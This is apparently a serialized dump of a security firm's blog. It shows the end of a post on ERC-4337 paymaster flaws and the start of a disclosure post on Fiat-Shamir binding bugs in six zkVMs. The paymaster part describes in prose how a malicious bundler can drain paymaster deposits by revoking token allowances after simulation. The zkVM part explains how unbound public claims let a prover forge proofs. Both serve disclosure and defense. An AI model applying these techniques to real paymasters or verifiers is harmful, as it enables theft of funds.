it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":23,"tag":92,"props":107081,"children":107083},{"className":107082},[],[107084],{"type":28,"value":107085},"requiredPrefund",{"type":28,"value":107087}," was taken from the paymaster's ",{"type":23,"tag":31,"props":107089,"children":107092},{"href":107090,"rel":107091},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[35],[107093],{"type":28,"value":61471},{"type":28,"value":720},{"type":23,"tag":24,"props":107096,"children":107097},{},[107098,107100,107105],{"type":28,"value":107099},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":23,"tag":92,"props":107101,"children":107103},{"className":107102},[],[107104],{"type":28,"value":103951},{"type":28,"value":107106}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":23,"tag":4890,"props":107108,"children":107109},{},[107110,107128,107147,107158,107163],{"type":23,"tag":4894,"props":107111,"children":107112},{},[107113,107115,107120,107122],{"type":28,"value":107114},"The bundler creates a ",{"type":23,"tag":92,"props":107116,"children":107118},{"className":107117},[],[107119],{"type":28,"value":101694},{"type":28,"value":107121}," with an intentionally high ",{"type":23,"tag":92,"props":107123,"children":107125},{"className":107124},[],[107126],{"type":28,"value":107127},"gasPrice",{"type":23,"tag":4894,"props":107129,"children":107130},{},[107131,107133,107138,107140,107145],{"type":28,"value":107132},"The bundler ensures the ",{"type":23,"tag":92,"props":107134,"children":107136},{"className":107135},[],[107137],{"type":28,"value":103951},{"type":28,"value":107139}," call will fail by revoking the paymaster's token allowance before ",{"type":23,"tag":92,"props":107141,"children":107143},{"className":107142},[],[107144],{"type":28,"value":103951},{"type":28,"value":107146}," executes",{"type":23,"tag":4894,"props":107148,"children":107149},{},[107150,107151,107156],{"type":28,"value":62863},{"type":23,"tag":92,"props":107152,"children":107154},{"className":107153},[],[107155],{"type":28,"value":103951},{"type":28,"value":107157}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":23,"tag":4894,"props":107159,"children":107160},{},[107161],{"type":28,"value":107162},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":23,"tag":4894,"props":107164,"children":107165},{},[107166],{"type":28,"value":107167},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":23,"tag":24,"props":107169,"children":107170},{},[107171,107173,107178,107180,107185],{"type":28,"value":107172},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":23,"tag":92,"props":107174,"children":107176},{"className":107175},[],[107177],{"type":28,"value":101723},{"type":28,"value":107179}," designed to fail during ",{"type":23,"tag":92,"props":107181,"children":107183},{"className":107182},[],[107184],{"type":28,"value":103951},{"type":28,"value":107186}," while maximizing the gas costs they can charge to the paymaster.",{"type":23,"tag":24,"props":107188,"children":107189},{},[107190,107192,107197,107199,107204,107206,107212,107214,107219],{"type":28,"value":107191},"Some paymasters try to protect against this by simulating the ",{"type":23,"tag":92,"props":107193,"children":107195},{"className":107194},[],[107196],{"type":28,"value":101694},{"type":28,"value":107198}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":23,"tag":92,"props":107200,"children":107202},{"className":107201},[],[107203],{"type":28,"value":101694},{"type":28,"value":107205}," is submitted via ",{"type":23,"tag":92,"props":107207,"children":107209},{"className":107208},[],[107210],{"type":28,"value":107211},"handleOps",{"type":28,"value":107213},". This means the ",{"type":23,"tag":92,"props":107215,"children":107217},{"className":107216},[],[107218],{"type":28,"value":103951},{"type":28,"value":107220}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":23,"tag":24,"props":107222,"children":107223},{},[107224],{"type":28,"value":107225},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":23,"tag":24,"props":107227,"children":107228},{},[107229],{"type":28,"value":107230},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":23,"tag":24,"props":107232,"children":107233},{},[107234],{"type":28,"value":107235},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":23,"tag":34870,"props":107237,"children":107238},{"id":28425},[107239],{"type":28,"value":18423},{"type":23,"tag":24,"props":107241,"children":107242},{},[107243],{"type":28,"value":107244},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":23,"tag":4890,"props":107246,"children":107247},{},[107248,107253,107258,107263,107268],{"type":23,"tag":4894,"props":107249,"children":107250},{},[107251],{"type":28,"value":107252},"Always collect full payment during validation, not after execution",{"type":23,"tag":4894,"props":107254,"children":107255},{},[107256],{"type":28,"value":107257},"Be conservative with gas estimations and include safety margins",{"type":23,"tag":4894,"props":107259,"children":107260},{},[107261],{"type":28,"value":107262},"Carefully validate all user inputs and token transfers",{"type":23,"tag":4894,"props":107264,"children":107265},{},[107266],{"type":28,"value":107267},"Test extensively, including simulation of malicious behavior",{"type":23,"tag":4894,"props":107269,"children":107270},{},[107271,107273,107278],{"type":28,"value":107272},"Always review changes in new ",{"type":23,"tag":92,"props":107274,"children":107276},{"className":107275},[],[107277],{"type":28,"value":101775},{"type":28,"value":107279}," versions, as they may impact your paymaster's design and security assumptions",{"type":23,"tag":24,"props":107281,"children":107282},{},[107283,107285,107290,107292,107297,107299,107304],{"type":28,"value":107284},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":23,"tag":92,"props":107286,"children":107288},{"className":107287},[],[107289],{"type":28,"value":101775},{"type":28,"value":107291}," contract's behavior could potentially break existing ",{"type":23,"tag":92,"props":107293,"children":107295},{"className":107294},[],[107296],{"type":28,"value":101847},{"type":28,"value":107298}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":23,"tag":92,"props":107300,"children":107302},{"className":107301},[],[107303],{"type":28,"value":101775},{"type":28,"value":107305}," versions.",{"type":23,"tag":24,"props":107307,"children":107308},{},[107309],{"type":28,"value":107310},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":23,"tag":24,"props":107312,"children":107313},{},[107314],{"type":28,"value":107315},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":23,"tag":2575,"props":107317,"children":107318},{},[107319],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":107321},[107322,107323,107324,107331,107336,107337],{"id":101609,"depth":147,"text":101612},{"id":101625,"depth":147,"text":101628},{"id":101664,"depth":147,"text":101667,"children":107325},[107326,107327,107328,107329,107330],{"id":101687,"depth":185,"text":101694},{"id":101728,"depth":185,"text":101731},{"id":101754,"depth":185,"text":101757},{"id":14191,"depth":185,"text":101775},{"id":101847,"depth":185,"text":101858},{"id":101910,"depth":147,"text":107332,"children":107333},"Understanding the EntryPoint's Flow",[107334,107335],{"id":101966,"depth":185,"text":101969},{"id":102151,"depth":185,"text":102154},{"id":102394,"depth":147,"text":102400},{"id":103994,"depth":147,"text":104000,"children":107338},[107339,107340],{"id":104054,"depth":185,"text":104057},{"id":104114,"depth":185,"text":104117},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":107345,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":107346,"description":107347,"date":107348,"author":107349,"image":107352,"isFeatured":15,"onBlogPage":15,"tags":107354,"body":107356,"_type":2586,"_id":123161,"_source":2588,"_file":123162,"_stem":123163,"_extension":2591},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[107350,107351],"himanshu","valter",{"src":107353,"width":96780,"height":13091},"/posts/zkvms-unfaithful-claims/title.png",[107355],"zkVM",{"type":20,"children":107357,"toc":123125},[107358,107363,107405,107418,107421,107427,107432,107560,107563,107569,107575,107580,107612,107760,107765,107888,107899,107910,107933,107944,107949,107982,107990,107995,107998,108004,108009,108015,108020,108025,108033,108051,108192,108197,108203,108296,109030,109098,109109,109117,109591,109597,110036,110376,110529,110534,111422,111578,111584,111676,111681,112266,112716,112792,112798,112803,112872,112882,112898,112908,112969,113388,113420,113430,113605,113610,113620,114220,114408,114426,114429,114435,114440,114448,114480,114842,114847,114932,114935,114941,114949,114954,114957,114963,114968,114976,114984,114992,115000,115033,115041,115049,115140,115391,115718,115726,115756,115926,116252,116257,116262,116279,116282,116287,116292,116304,116316,116907,116919,116931,116938,116946,116958,116966,116981,116986,117266,117285,117380,117399,117415,117418,117424,117429,117434,117441,117449,117456,117464,117477,117495,117955,118057,118062,118067,118083,118086,118092,118097,118109,118120,118125,118515,118522,118530,118555,118575,118831,118842,118861,119245,119591,119821,119980,120140,120708,120713,120739,120742,120748,120753,120760,120768,120781,120853,120864,120872,120882,120890,120901,121175,121264,121293,121296,121301,121435,121447,121454,121459,121612,121638,121645,121653,121658,121724,121729,122119,122206,122222,122225,122231,122236,122242,122342,122401,122406,122412,122417,122425,122430,122436,122441,122446,122452,122457,122460,122466,122472,122477,122482,122487,122492,122497,122500,122506,122669,122674,122677,122682,122693,123010,123015,123039,123044,123062,123067,123070,123076,123081,123086,123096,123101,123111,123121],{"type":23,"tag":24,"props":107359,"children":107360},{},[107361],{"type":28,"value":107362},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":23,"tag":24,"props":107364,"children":107365},{},[107366,107368,107373,107374,107379,107380,107385,107386,107391,107392,107397,107398,107403],{"type":28,"value":107367},"We found six systems where this faithfulness breaks. Across ",{"type":23,"tag":2532,"props":107369,"children":107370},{},[107371],{"type":28,"value":107372},"Jolt",{"type":28,"value":242},{"type":23,"tag":2532,"props":107375,"children":107376},{},[107377],{"type":28,"value":107378},"Nexus",{"type":28,"value":242},{"type":23,"tag":2532,"props":107381,"children":107382},{},[107383],{"type":28,"value":107384},"Cairo-M",{"type":28,"value":242},{"type":23,"tag":2532,"props":107387,"children":107388},{},[107389],{"type":28,"value":107390},"Ceno",{"type":28,"value":242},{"type":23,"tag":2532,"props":107393,"children":107394},{},[107395],{"type":28,"value":107396},"Expander",{"type":28,"value":5945},{"type":23,"tag":2532,"props":107399,"children":107400},{},[107401],{"type":28,"value":107402},"Binius64",{"type":28,"value":107404},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":23,"tag":24,"props":107406,"children":107407},{},[107408,107410,107416],{"type":28,"value":107409},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":23,"tag":31,"props":107411,"children":107413},{"href":107412},"#challenges",[107414],{"type":28,"value":107415},"Challenges",{"type":28,"value":107417}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":23,"tag":18268,"props":107419,"children":107420},{},[],{"type":23,"tag":61,"props":107422,"children":107424},{"id":107423},"jargon-cheat-sheet",[107425],{"type":28,"value":107426},"Jargon Cheat Sheet",{"type":23,"tag":24,"props":107428,"children":107429},{},[107430],{"type":28,"value":107431},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":23,"tag":16158,"props":107433,"children":107434},{},[107435,107445,107455,107465,107475,107485,107495,107505,107515,107525,107535,107545],{"type":23,"tag":4894,"props":107436,"children":107437},{},[107438,107443],{"type":23,"tag":2532,"props":107439,"children":107440},{},[107441],{"type":28,"value":107442},"Fiat-Shamir",{"type":28,"value":107444},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":23,"tag":4894,"props":107446,"children":107447},{},[107448,107453],{"type":23,"tag":2532,"props":107449,"children":107450},{},[107451],{"type":28,"value":107452},"Transcript",{"type":28,"value":107454},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":23,"tag":4894,"props":107456,"children":107457},{},[107458,107463],{"type":23,"tag":2532,"props":107459,"children":107460},{},[107461],{"type":28,"value":107462},"Polynomial Commitment",{"type":28,"value":107464},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":23,"tag":4894,"props":107466,"children":107467},{},[107468,107473],{"type":23,"tag":2532,"props":107469,"children":107470},{},[107471],{"type":28,"value":107472},"Sumcheck",{"type":28,"value":107474},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":23,"tag":4894,"props":107476,"children":107477},{},[107478,107483],{"type":23,"tag":2532,"props":107479,"children":107480},{},[107481],{"type":28,"value":107482},"MLE (Multilinear Extension)",{"type":28,"value":107484},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":23,"tag":4894,"props":107486,"children":107487},{},[107488,107493],{"type":23,"tag":2532,"props":107489,"children":107490},{},[107491],{"type":28,"value":107492},"Lookup / LogUp",{"type":28,"value":107494},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":23,"tag":4894,"props":107496,"children":107497},{},[107498,107503],{"type":23,"tag":2532,"props":107499,"children":107500},{},[107501],{"type":28,"value":107502},"AIR",{"type":28,"value":107504},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":23,"tag":4894,"props":107506,"children":107507},{},[107508,107513],{"type":23,"tag":2532,"props":107509,"children":107510},{},[107511],{"type":28,"value":107512},"STARK",{"type":28,"value":107514},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":23,"tag":4894,"props":107516,"children":107517},{},[107518,107523],{"type":23,"tag":2532,"props":107519,"children":107520},{},[107521],{"type":28,"value":107522},"FRI",{"type":28,"value":107524},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":23,"tag":4894,"props":107526,"children":107527},{},[107528,107533],{"type":23,"tag":2532,"props":107529,"children":107530},{},[107531],{"type":28,"value":107532},"OODS",{"type":28,"value":107534},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":23,"tag":4894,"props":107536,"children":107537},{},[107538,107543],{"type":23,"tag":2532,"props":107539,"children":107540},{},[107541],{"type":28,"value":107542},"GKR",{"type":28,"value":107544},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":23,"tag":4894,"props":107546,"children":107547},{},[107548,107553,107555],{"type":23,"tag":2532,"props":107549,"children":107550},{},[107551],{"type":28,"value":107552},"claimed_sum / opening_claim",{"type":28,"value":107554},": Prover-supplied values that feed into verification equations. ",{"type":23,"tag":2532,"props":107556,"children":107557},{},[107558],{"type":28,"value":107559},"These are the usual suspects for binding bugs.",{"type":23,"tag":18268,"props":107561,"children":107562},{},[],{"type":23,"tag":61,"props":107564,"children":107566},{"id":107565},"what-are-we-even-breaking",[107567],{"type":28,"value":107568},"What Are We Even Breaking?",{"type":23,"tag":9072,"props":107570,"children":107572},{"id":107571},"what-is-a-zkvm",[107573],{"type":28,"value":107574},"What is a zkVM?",{"type":23,"tag":24,"props":107576,"children":107577},{},[107578],{"type":28,"value":107579},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":23,"tag":24,"props":107581,"children":107582},{},[107583,107585,107610],{"type":28,"value":107584},"Formally, the verifier is convinced that there exists a valid trace ",{"type":23,"tag":92,"props":107586,"children":107588},{"className":107587},[1183,1184],[107589],{"type":23,"tag":134,"props":107590,"children":107592},{"className":107591},[1189],[107593],{"type":23,"tag":134,"props":107594,"children":107596},{"className":107595,"ariaHidden":1195},[1194],[107597],{"type":23,"tag":134,"props":107598,"children":107600},{"className":107599},[1200],[107601,107605],{"type":23,"tag":134,"props":107602,"children":107604},{"className":107603,"style":21061},[1205],[],{"type":23,"tag":134,"props":107606,"children":107608},{"className":107607,"style":21067},[1211,21066],[107609],{"type":28,"value":5444},{"type":28,"value":107611}," such that:",{"type":23,"tag":24,"props":107613,"children":107614},{},[107615],{"type":23,"tag":92,"props":107616,"children":107618},{"className":107617},[1183,1184],[107619],{"type":23,"tag":134,"props":107620,"children":107622},{"className":107621},[1189],[107623],{"type":23,"tag":134,"props":107624,"children":107626},{"className":107625,"ariaHidden":1195},[1194],[107627,107671,107746],{"type":23,"tag":134,"props":107628,"children":107630},{"className":107629},[1200],[107631,107635,107641,107645,107650,107654,107658,107663,107667],{"type":23,"tag":134,"props":107632,"children":107634},{"className":107633,"style":92474},[1205],[],{"type":23,"tag":134,"props":107636,"children":107638},{"className":107637},[1211],[107639],{"type":28,"value":107640},"∃",{"type":23,"tag":134,"props":107642,"children":107644},{"className":107643,"style":1390},[1292],[],{"type":23,"tag":134,"props":107646,"children":107648},{"className":107647,"style":21067},[1211,21066],[107649],{"type":28,"value":5444},{"type":23,"tag":134,"props":107651,"children":107653},{"className":107652,"style":1390},[1292],[],{"type":23,"tag":134,"props":107655,"children":107657},{"className":107656,"style":1390},[1292],[],{"type":23,"tag":134,"props":107659,"children":107661},{"className":107660},[1395],[107662],{"type":28,"value":1697},{"type":23,"tag":134,"props":107664,"children":107666},{"className":107665,"style":1390},[1292],[],{"type":23,"tag":134,"props":107668,"children":107670},{"className":107669,"style":1390},[1292],[],{"type":23,"tag":134,"props":107672,"children":107674},{"className":107673},[1200],[107675,107679,107690,107695,107700,107705,107709,107714,107719,107723,107728,107733,107737,107742],{"type":23,"tag":134,"props":107676,"children":107678},{"className":107677,"style":1313},[1205],[],{"type":23,"tag":134,"props":107680,"children":107682},{"className":107681},[1211],[107683],{"type":23,"tag":134,"props":107684,"children":107687},{"className":107685},[1211,107686],"mathsf",[107688],{"type":28,"value":107689},"VM",{"type":23,"tag":134,"props":107691,"children":107693},{"className":107692},[21195],[107694],{"type":28,"value":272},{"type":23,"tag":134,"props":107696,"children":107698},{"className":107697,"style":21067},[1211,21066],[107699],{"type":28,"value":21070},{"type":23,"tag":134,"props":107701,"children":107703},{"className":107702},[1324],[107704],{"type":28,"value":1327},{"type":23,"tag":134,"props":107706,"children":107708},{"className":107707,"style":1331},[1292],[],{"type":23,"tag":134,"props":107710,"children":107712},{"className":107711,"style":94579},[1211,21066],[107713],{"type":28,"value":5590},{"type":23,"tag":134,"props":107715,"children":107717},{"className":107716},[1324],[107718],{"type":28,"value":1327},{"type":23,"tag":134,"props":107720,"children":107722},{"className":107721,"style":1331},[1292],[],{"type":23,"tag":134,"props":107724,"children":107726},{"className":107725,"style":21067},[1211,21066],[107727],{"type":28,"value":5444},{"type":23,"tag":134,"props":107729,"children":107731},{"className":107730},[21217],[107732],{"type":28,"value":296},{"type":23,"tag":134,"props":107734,"children":107736},{"className":107735,"style":1390},[1292],[],{"type":23,"tag":134,"props":107738,"children":107740},{"className":107739},[1395],[107741],{"type":28,"value":21812},{"type":23,"tag":134,"props":107743,"children":107745},{"className":107744,"style":1390},[1292],[],{"type":23,"tag":134,"props":107747,"children":107749},{"className":107748},[1200],[107750,107754],{"type":23,"tag":134,"props":107751,"children":107753},{"className":107752,"style":21061},[1205],[],{"type":23,"tag":134,"props":107755,"children":107758},{"className":107756,"style":107757},[1211,21066],"margin-right:0.22222em;",[107759],{"type":28,"value":5620},{"type":23,"tag":24,"props":107761,"children":107762},{},[107763],{"type":28,"value":107764},"where:",{"type":23,"tag":16158,"props":107766,"children":107767},{},[107768,107798,107828,107858],{"type":23,"tag":4894,"props":107769,"children":107770},{},[107771,107796],{"type":23,"tag":92,"props":107772,"children":107774},{"className":107773},[1183,1184],[107775],{"type":23,"tag":134,"props":107776,"children":107778},{"className":107777},[1189],[107779],{"type":23,"tag":134,"props":107780,"children":107782},{"className":107781,"ariaHidden":1195},[1194],[107783],{"type":23,"tag":134,"props":107784,"children":107786},{"className":107785},[1200],[107787,107791],{"type":23,"tag":134,"props":107788,"children":107790},{"className":107789,"style":21061},[1205],[],{"type":23,"tag":134,"props":107792,"children":107794},{"className":107793,"style":21067},[1211,21066],[107795],{"type":28,"value":21070},{"type":28,"value":107797}," = program/circuit description (public)",{"type":23,"tag":4894,"props":107799,"children":107800},{},[107801,107826],{"type":23,"tag":92,"props":107802,"children":107804},{"className":107803},[1183,1184],[107805],{"type":23,"tag":134,"props":107806,"children":107808},{"className":107807},[1189],[107809],{"type":23,"tag":134,"props":107810,"children":107812},{"className":107811,"ariaHidden":1195},[1194],[107813],{"type":23,"tag":134,"props":107814,"children":107816},{"className":107815},[1200],[107817,107821],{"type":23,"tag":134,"props":107818,"children":107820},{"className":107819,"style":21061},[1205],[],{"type":23,"tag":134,"props":107822,"children":107824},{"className":107823,"style":94579},[1211,21066],[107825],{"type":28,"value":5590},{"type":28,"value":107827}," = public input",{"type":23,"tag":4894,"props":107829,"children":107830},{},[107831,107856],{"type":23,"tag":92,"props":107832,"children":107834},{"className":107833},[1183,1184],[107835],{"type":23,"tag":134,"props":107836,"children":107838},{"className":107837},[1189],[107839],{"type":23,"tag":134,"props":107840,"children":107842},{"className":107841,"ariaHidden":1195},[1194],[107843],{"type":23,"tag":134,"props":107844,"children":107846},{"className":107845},[1200],[107847,107851],{"type":23,"tag":134,"props":107848,"children":107850},{"className":107849,"style":21061},[1205],[],{"type":23,"tag":134,"props":107852,"children":107854},{"className":107853,"style":107757},[1211,21066],[107855],{"type":28,"value":5620},{"type":28,"value":107857}," = claimed public output",{"type":23,"tag":4894,"props":107859,"children":107860},{},[107861,107886],{"type":23,"tag":92,"props":107862,"children":107864},{"className":107863},[1183,1184],[107865],{"type":23,"tag":134,"props":107866,"children":107868},{"className":107867},[1189],[107869],{"type":23,"tag":134,"props":107870,"children":107872},{"className":107871,"ariaHidden":1195},[1194],[107873],{"type":23,"tag":134,"props":107874,"children":107876},{"className":107875},[1200],[107877,107881],{"type":23,"tag":134,"props":107878,"children":107880},{"className":107879,"style":21061},[1205],[],{"type":23,"tag":134,"props":107882,"children":107884},{"className":107883,"style":21067},[1211,21066],[107885],{"type":28,"value":5444},{"type":28,"value":107887}," = private witness/trace (registers, memory history, intermediate values)",{"type":23,"tag":24,"props":107889,"children":107890},{},[107891,107893,107897],{"type":28,"value":107892},"The verifier does ",{"type":23,"tag":2532,"props":107894,"children":107895},{},[107896],{"type":28,"value":17963},{"type":28,"value":107898}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":23,"tag":24,"props":107900,"children":107901},{},[107902,107904,107909],{"type":28,"value":107903},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":23,"tag":2532,"props":107905,"children":107906},{},[107907],{"type":28,"value":107908},"soundness",{"type":28,"value":1697},{"type":23,"tag":16158,"props":107911,"children":107912},{},[107913,107923],{"type":23,"tag":4894,"props":107914,"children":107915},{},[107916,107921],{"type":23,"tag":2532,"props":107917,"children":107918},{},[107919],{"type":28,"value":107920},"Completeness",{"type":28,"value":107922},": honest execution verifies.",{"type":23,"tag":4894,"props":107924,"children":107925},{},[107926,107931],{"type":23,"tag":2532,"props":107927,"children":107928},{},[107929],{"type":28,"value":107930},"Soundness",{"type":28,"value":107932},": false execution should not verify.",{"type":23,"tag":24,"props":107934,"children":107935},{},[107936,107938,107942],{"type":28,"value":107937},"We are breaking ",{"type":23,"tag":2532,"props":107939,"children":107940},{},[107941],{"type":28,"value":107908},{"type":28,"value":107943}," in all six systems.",{"type":23,"tag":24,"props":107945,"children":107946},{},[107947],{"type":28,"value":107948},"In all six codebases, verification follows this abstract flow:",{"type":23,"tag":4890,"props":107950,"children":107951},{},[107952,107957,107962,107967,107972,107977],{"type":23,"tag":4894,"props":107953,"children":107954},{},[107955],{"type":28,"value":107956},"Fix public statement data.",{"type":23,"tag":4894,"props":107958,"children":107959},{},[107960],{"type":28,"value":107961},"Parse proof payload (commitments, reduction messages, openings).",{"type":23,"tag":4894,"props":107963,"children":107964},{},[107965],{"type":28,"value":107966},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":23,"tag":4894,"props":107968,"children":107969},{},[107970],{"type":28,"value":107971},"Check constraint equations at sampled points.",{"type":23,"tag":4894,"props":107973,"children":107974},{},[107975],{"type":28,"value":107976},"Check PCS/opening consistency.",{"type":23,"tag":4894,"props":107978,"children":107979},{},[107980],{"type":28,"value":107981},"Accept only if all checks are jointly consistent.",{"type":23,"tag":24,"props":107983,"children":107984},{},[107985],{"type":23,"tag":1116,"props":107986,"children":107989},{"alt":107987,"src":107988},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":23,"tag":24,"props":107991,"children":107992},{},[107993],{"type":28,"value":107994},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":23,"tag":18268,"props":107996,"children":107997},{},[],{"type":23,"tag":61,"props":107999,"children":108001},{"id":108000},"the-building-blocks",[108002],{"type":28,"value":108003},"The Building Blocks",{"type":23,"tag":24,"props":108005,"children":108006},{},[108007],{"type":28,"value":108008},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":23,"tag":9072,"props":108010,"children":108012},{"id":108011},"the-fiat-shamir-transform",[108013],{"type":28,"value":108014},"The Fiat-Shamir Transform",{"type":23,"tag":24,"props":108016,"children":108017},{},[108018],{"type":28,"value":108019},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":23,"tag":24,"props":108021,"children":108022},{},[108023],{"type":28,"value":108024},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":23,"tag":24,"props":108026,"children":108027},{},[108028],{"type":23,"tag":1116,"props":108029,"children":108032},{"alt":108030,"src":108031},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":23,"tag":24,"props":108034,"children":108035},{},[108036,108038,108042,108044,108049],{"type":28,"value":108037},"The hash (transcript) ",{"type":23,"tag":2532,"props":108039,"children":108040},{},[108041],{"type":28,"value":5977},{"type":28,"value":108043}," include everything that affects verification ",{"type":23,"tag":2532,"props":108045,"children":108046},{},[108047],{"type":28,"value":108048},"BEFORE",{"type":28,"value":108050}," the challenges derived from it are used.",{"type":23,"tag":24,"props":108052,"children":108053},{},[108054,108056,108082,108084,108109,108111,108136,108138,108163,108165,108190],{"type":28,"value":108055},"If some value ",{"type":23,"tag":92,"props":108057,"children":108059},{"className":108058},[1183,1184],[108060],{"type":23,"tag":134,"props":108061,"children":108063},{"className":108062},[1189],[108064],{"type":23,"tag":134,"props":108065,"children":108067},{"className":108066,"ariaHidden":1195},[1194],[108068],{"type":23,"tag":134,"props":108069,"children":108071},{"className":108070},[1200],[108072,108076],{"type":23,"tag":134,"props":108073,"children":108075},{"className":108074,"style":21061},[1205],[],{"type":23,"tag":134,"props":108077,"children":108079},{"className":108078,"style":107757},[1211,21066],[108080],{"type":28,"value":108081},"V",{"type":28,"value":108083}," affects a verification equation, but ",{"type":23,"tag":92,"props":108085,"children":108087},{"className":108086},[1183,1184],[108088],{"type":23,"tag":134,"props":108089,"children":108091},{"className":108090},[1189],[108092],{"type":23,"tag":134,"props":108093,"children":108095},{"className":108094,"ariaHidden":1195},[1194],[108096],{"type":23,"tag":134,"props":108097,"children":108099},{"className":108098},[1200],[108100,108104],{"type":23,"tag":134,"props":108101,"children":108103},{"className":108102,"style":21061},[1205],[],{"type":23,"tag":134,"props":108105,"children":108107},{"className":108106,"style":107757},[1211,21066],[108108],{"type":28,"value":108081},{"type":28,"value":108110}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":23,"tag":92,"props":108112,"children":108114},{"className":108113},[1183,1184],[108115],{"type":23,"tag":134,"props":108116,"children":108118},{"className":108117},[1189],[108119],{"type":23,"tag":134,"props":108120,"children":108122},{"className":108121,"ariaHidden":1195},[1194],[108123],{"type":23,"tag":134,"props":108124,"children":108126},{"className":108125},[1200],[108127,108131],{"type":23,"tag":134,"props":108128,"children":108130},{"className":108129,"style":21061},[1205],[],{"type":23,"tag":134,"props":108132,"children":108134},{"className":108133,"style":107757},[1211,21066],[108135],{"type":28,"value":108081},{"type":28,"value":108137},". This means that the prover can \"see\" (compute in advance) the challenge before choosing 